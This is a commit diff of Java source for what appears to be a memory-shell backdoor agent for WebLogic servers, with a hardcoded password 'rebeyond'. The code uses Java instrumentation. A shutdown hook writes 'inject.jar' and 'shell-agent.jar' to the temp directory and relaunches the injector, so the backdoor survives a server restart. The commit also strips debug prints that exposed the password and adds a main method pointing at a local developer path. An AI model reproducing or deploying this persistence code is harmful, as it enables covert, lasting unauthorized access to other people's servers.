@@ -16,6 +16,9 @@ public class Agent {
16
16
public static InstrumentationContext context = new InstrumentationContext ();
17
17
public static String currentPath ;
18
18
public static String password = "rebeyond" ;
19
+ private final static String AGENT_NAME = "shell-agent.jar" ;
20
+ private final static String INJECT_NAME = "inject.jar" ;
21
+
19
22
public static byte [] injectFileBytes = new byte []{}, agentFileBytes = new byte []{};
20
23
21
24
@@ -26,8 +29,6 @@ public static void agentmain(String args, Instrumentation inst) throws IOExcepti
26
29
} else {
27
30
Agent .currentPath = args ;
28
31
}
29
- out .println ("Agent password:" + Agent .password );
30
- out .println ("Agent currentPath:" + Agent .currentPath );
31
32
start (inst );
32
33
}
33
34
@@ -58,7 +59,7 @@ private static void start(Instrumentation inst) {
58
59
clear ();
59
60
persist ();
60
61
} catch (Exception e ) {
61
- // System. out.println(e);
62
+ out .println (e . getMessage () );
62
63
}
63
64
64
65
}
@@ -83,14 +84,11 @@ public static void addHook() {
83
84
84
85
public static void persist () {
85
86
try {
86
- // out.println("persist add");
87
87
Thread t = new Thread () {
88
88
public void run () {
89
89
try {
90
- // out.println("persist start");
91
- writeFiles ("inject.jar" , Agent .injectFileBytes );
92
- writeFiles ("shell-agent.jar" , Agent .agentFileBytes );
93
- // out.println("persist end");
90
+ writeFiles (INJECT_NAME , Agent .injectFileBytes );
91
+ writeFiles (AGENT_NAME , Agent .agentFileBytes );
94
92
startInject ();
95
93
} catch (Exception e ) {
96
94
@@ -100,15 +98,16 @@ public void run() {
100
98
t .setName ("shutdown Thread" );
101
99
Runtime .getRuntime ().addShutdownHook (t );
102
100
} catch (Throwable t ) {
103
- out . println ( t . getMessage ());
101
+
104
102
}
105
103
}
106
104
107
- private static void startInject () throws InterruptedException , IOException {
108
- Thread .sleep (2000 );
105
+ private static void startInject () throws Exception {
106
+ Thread .sleep (3000 );
109
107
String tempFolder = System .getProperty ("java.io.tmpdir" );
110
- String cmd = "java -jar " + tempFolder + File .separator + "inject.jar " + Agent .password ;
108
+ String cmd = "java -jar " + tempFolder + File .separator + INJECT_NAME + " " + Agent .password ;
111
109
Runtime .getRuntime ().exec (cmd );
110
+
112
111
}
113
112
114
113
static byte [] mergeByteArray (byte []... byteArray ) {
@@ -133,13 +132,16 @@ static byte[] mergeByteArray(byte[]... byteArray) {
133
132
return result ;
134
133
}
135
134
135
+ public static void main (String [] args ) throws Exception {
136
+ readInjectFile ("C:\\ Users\\ fbi\\ Documents\\ javaProject\\ weblogic_memshell\\ inject\\ target" );
137
+ }
136
138
public static void readInjectFile (String filePath ) throws Exception {
137
- String fileName = "inject.jar" ;
139
+ String fileName = INJECT_NAME ;
138
140
readFile (filePath , fileName );
139
141
}
140
142
141
143
public static void readAgentFile (String filePath ) throws Exception {
142
- String fileName = "shell-agent.jar" ;
144
+ String fileName = AGENT_NAME ;
143
145
readFile (filePath , fileName );
144
146
}
145
147
@@ -152,7 +154,8 @@ private static void readFile(String filePath, String fileName) throws Exception
152
154
byte [] bytes = new byte [1024 * 100 ];
153
155
int num = 0 ;
154
156
while ((num = is .read (bytes )) != -1 ) {
155
- agentFileBytes = mergeByteArray (agentFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
157
+ if (fileName .equals (AGENT_NAME )) agentFileBytes = mergeByteArray (agentFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
158
+ else if (fileName .equals (INJECT_NAME )) injectFileBytes = mergeByteArray (injectFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
156
159
}
157
160
is .close ();
158
161
}
0 commit comments